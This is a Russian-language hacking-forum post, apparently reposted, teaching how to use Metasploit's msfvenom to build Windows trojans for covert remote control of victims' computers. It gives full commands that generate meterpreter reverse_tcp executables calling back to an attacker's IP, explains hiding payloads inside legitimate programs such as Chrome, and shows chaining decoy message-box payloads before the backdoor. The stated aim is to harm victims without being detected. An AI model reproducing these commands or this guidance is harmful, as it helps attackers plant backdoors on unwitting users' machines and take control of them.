Metasploit как teamviewer без палева

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
19 Окт 2018
Сообщения
815
Реакции
582
Репутация
0
Копипаст
Сегодня мы проведем полный цикл работы с Metasploit, рассмотрев основные его инструменты.
Рассмотрим основные его инструменты. Для этого, сначала, изучим встроенные инструменты, а потом перейдем к удаленному управлению рабочим столом юзера. И, конечно, попытаемся при этом не спалиться.
Ты всегда для подобных утех можешь использовать условный TeamViewer, но, конечно, это не хакерские штучки, а мы тут серьезным делами занимаемся и делаем это более-менее скрытно.
Текущая тенденция на использование динамических ip в конечных юзерских машинах, в некотором смысле, мешает нам абсолютно спокойно подключиться и поддерживать соединение с рандомной пользовательской машиной, но для Metasploit это не является большой проблемой.
В статье будет специфичиная терминология, поэтому поясню сначала за неё.

Payload
Есть такая штука - Payload, что переводится как “полезная нагрузка”.
Название вообще странное, учитывая, что полезная нагрузка - это то, чем вы, по сути, вредите вашей жертве. Иными словами, ваш условный “троян” имеет две части - служебная нагрузка и полезная. И вот “полезная” - это, например, удаление файлов на компьютере пользователя, а служебная - это та часть программного кода, которая осуществляет доставку зловреда на компьютер, его закрепление в системе и т.д.
Полезную нагрузку можно писать своими руками, и тогда у вас меньше шансов, что антивирус спалит. Но так как для тех, кто плохо знаком с программированием, этот вариант не является возможным, придется использовать автоматические генераторы.
Так как мы работаем с Metasploit, будем использовать встроенную игрушку - MSFvenom.

Трояны и бэкдоры
Бэкдор
- это наша полезная нагрузка. Бэкдор - это программа, которая позволяет нам получить доступ к удаленному компьютеру.
Троян - программа, которая выглядит как нормальная, но может иметь в своем коде полезную нагрузку.
Если файлу программы Chrome я добавлю payload - он становится трояном с бэкдором. Понятно?

Как пользоваться MSFVENOM
Вообще Msfvenom сам кодирует, генерирует и делает прочие вещи с полезной нагрузкой.
Чтобы его запустить, нужно выполнить:
/usr/bin/msfvenom [опции] <переменная=значение>​

у него есть куча полезных опций:

Options:
-p, --payload (Указываем какую нагрузку будем использовать [msfvenom –l payloads])
-l, --list (Формирование списка модулей payloads\encoders…)
-n, --nopsled (Prepend a nopsled of [length] size on to the payload)
-f, --format (Формат выгружаемых данных raw,exe… подробнее --help-formats)
-e, --encoder (Указывает крипто модуль: msfvenom –l encoders)
-a, --arch (Указываем архитектуру, x86\x64)
--platform (Указывает платформу, используется вместе с ключем –a, windows)
-s, --space (Максимальный размер полезной нагрузки)
-b, --bad-chars(Отсекает “вредные символы типа конца строки и т.д” –b ‘\x00’)
-i, --iterations (Количество циклов шифрования: -i 20)
-c, --add-code (Добавление шелл кода)
-x, --template (Шаблон файла куда будем грузить нагрузку, ВЫЖНЫЙ)
-k, --keep (Сохранить поведение шаблона и ввести полезную нагрузку в новом потоке)
-o, --options (Опции нагрузки)
-h, --help (Справка)
--help-formats (Справка по форматам)

Создаем полезную нагрузку

msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o /tmp/my_payload.exe​

нельзя забывать указывать два флага: -p и -f.
Разберемся, зачем это:
  • -p windows/meterpreter/reverse_tcp – тип полезной нагрузки
  • lhost=IP_атакующего – адрес моего компьютера, с которого я посылаю жертве всякую гадость. Он нужен для получения обратной связи.
  • lport=4444 – порт на моей тачке, к которому будет подключаться троян
  • -f exe – расширение файла, являющегося полезной нагрузкой.
  • -o /tmp/my_payload.exe – говорим, куда сохранять код.
Как я уже говорил, мы не умеем программировать, поэтому важно уметь использовать все возможные payloads у Metasploit. Самый быстрый способ на них взглянуть:
msfvenom -l payloads​



Собсна, в списке есть всего две колонки. Левая - название пэйлоада, а правая - описание действия.
Название пэйлоада указывают после ключа -p.
Что это вообще значит?
Вот например выражение windows/meterpreter/reverse_tcp внедряет DLL сервака meterpreter через модуль Reflective Dll Injection payload и создает для хакера обратное (рефлективное) соединение. В результате мы управляем чьим-то компом, используя meterpreter.
Meterpreter - это такой модуль внутри Metasploit, который является крутым и динамически расширяемым payload’ом.
С ключом vncinject можно указывать фреймворку, что нам нужно получить удаленный доступ к рабочему столу посредством VNC.
Ключ upexec означает, что пейлоад нужно тупо загрузить и выполнить.
При осуществлении атаки мы также можем использовать множество сетевых протоколов: http, https, tcp, ipv6_tcp, tcp_dns, winhttp, winhttps
Допустим, нам нужна определенная полезная нагрузка, но мы не имеем представления о том, что именно она делает. Обычно, если хочешь узнать функционал модуля, существует ключевое слово -help, но здесь это не работает. Зато работает --list-options.
Выглядит это примерно вот так:
msfvenom -p windows/messagebox --list-options​

а ввод
msfvenom -p windows/meterpreter/reverse_tcp --list-options​

покажет нам:


По столбцу Required можно понять, является ли эта хрень обязательной, или ее можно игнорировать. Если значение по-умолчанию не прописано, его нужно прописать.

Форматы Payloads
Ранее я говорил, что у Metasploit есть так нызываемые форматы, которые задаются ключом -f

введи
msfvenom --list formats​

и увидишь все варианты форматов файлов, которые пригодны для формирования пейлода.

Генерируем Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o backdoor.exe​

напомню, если ты забыл свой айпишник, введи:
ip a​

а узнать внешний можно с помощью компанды:
curl suip.biz/ip/​

например, конечный вид команды получается примерно такой:



На выходе у нас создался файл с payload’ом, наш троян:
backdoor.exe​

Мы можем комбинировать полезные нагрузки, использовать их комплексно.
Для этого используется ключ -c

Например,

msfvenom -p windows/messagebox ICON="INFORMATION" TITLE="Compatibility test" TEXT="The test is processed" -f raw -o mes1​

создает пейлод windows/messagebox, который создает диалоговое окно. Эта нагрузка будет сохранена в mes1. Без кодирования (-f raw).

msfvenom -c mes1 -p windows/messagebox ICON="ERROR" TITLE="Error" TEXT="Missing necessary files" -f raw -o mes2​
далее мы снова используем этот же модуль, и сохраняем уже в mes2, опять же, без шифрования.
теперь используем наш ключ -с:
msfvenom -c mes2 -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=4444 -f exe -o zloy_cod.exe​

и соединяем два пейлоада в один.

В результате получаем zloy_cod.exe, который в данном случае покажет уже два окна и только после их инициации попытается выполнить вход в систему.

На сегодня все, бро. Разбирайся с инструментами, а в следующем мане мы доведем все до конца)
 
Сверху